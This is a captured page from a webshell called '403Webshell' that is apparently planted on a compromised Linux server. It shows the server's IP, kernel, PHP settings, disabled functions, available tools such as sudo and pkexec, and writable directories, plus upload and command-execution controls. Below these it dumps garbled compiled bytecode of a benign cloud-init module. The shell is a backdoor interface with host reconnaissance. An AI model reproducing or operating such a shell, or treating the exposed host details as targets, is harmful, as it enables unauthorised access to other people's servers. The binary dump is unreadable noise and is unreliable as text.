403Webshell
Server IP : 156.238.232.47  /  Your IP : 216.73.216.150
Web Server : nginx/1.25.3
System : Linux C202504152095410 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : www ( 1000)
PHP Version : 8.3.25
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/cloudinit/config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python2.7/site-packages/cloudinit/config/cc_bootcmd.pyc
�
oB�]c@s>dZddlZddlmZddlmZmZddlmZddl	m
Z
ddl	mZeZdgZ
i	d	d
6dd6d
d6ed�d6e
d6ed�gd6ed6dd6iidd6iidd6idd6d6idd6gd6d6ed6ed6dd6gd6d 6d!6Zee�Zd"�ZdS(#s:Bootcmd: run arbitrary commands early in the boot process.i����N(tdedent(tget_schema_doctvalidate_cloudconfig_schema(t
PER_ALWAYS(t
temp_utils(tutiltallt
cc_bootcmdtidtBootcmdtnames0Run arbitrary commands early in the boot processttitles�        This module runs arbitrary commands very early in the boot process,
        only slightly after a boothook would run. This is very similar to a
        boothook, but more user friendly. The environment variable
        ``INSTANCE_ID`` will be set to the current instance id for all run
        commands. Commands can be specified either as lists or strings. For
        invocation details, see ``runcmd``.

        .. note::
            bootcmd should only be used for things that could not be done later
            in the boot process.

        .. note::

          when writing files, do not use /tmp dir as it races with
          systemd-tmpfiles-clean LP: #1707222. Use /run/somedir instead.
    tdescriptiontdistross�        bootcmd:
            - echo 192.168.1.130 us.archive.ubuntu.com > /etc/hosts
            - [ cloud-init-per, once, mymkfs, mkfs, /dev/vdb ]
    texamplest	frequencytobjectttypetarraytstringtitemstoneOftadditionalItemstadditionalPropertiesitminItemstrequiredtbootcmdt
propertiesc
Cs?d|kr |jd|�dSt|t�tjdd���}y7tj|d�}|jtj|��|j	�Wn/t
k
r�}tj|dt|���nXy`t
jj�}|j�}	|	r�t|	�|d<nd|jg}
tj|
d|d	t�Wn't
k
r4tj|d
|��nXWdQXdS(NRs;Skipping module named %s, no 'bootcmd' key in configurationtsuffixs.shsFailed to shellify bootcmd: %stINSTANCE_IDs/bin/shtenvtcapturesFailed to run bootcmd module %s(tdebugRtschemaRtExtendedTemporaryFileRtshellifytwritetencode_texttflusht	Exceptiontlogexctstrtostenvirontcopytget_instance_idR
tsubptFalse(R
tcfgtcloudtlogt_argsttmpftcontentteRtiidtcmd((s?/usr/lib/python2.7/site-packages/cloudinit/config/cc_bootcmd.pythandleOs.	

(t__doc__R*ttextwrapRtcloudinit.config.schemaRRtcloudinit.settingsRt	cloudinitRRRR
R/R!R9(((s?/usr/lib/python2.7/site-packages/cloudinit/config/cc_bootcmd.pyt<module>
s>	



Youez - 2016 - github.com/yon3zu
LinuXploit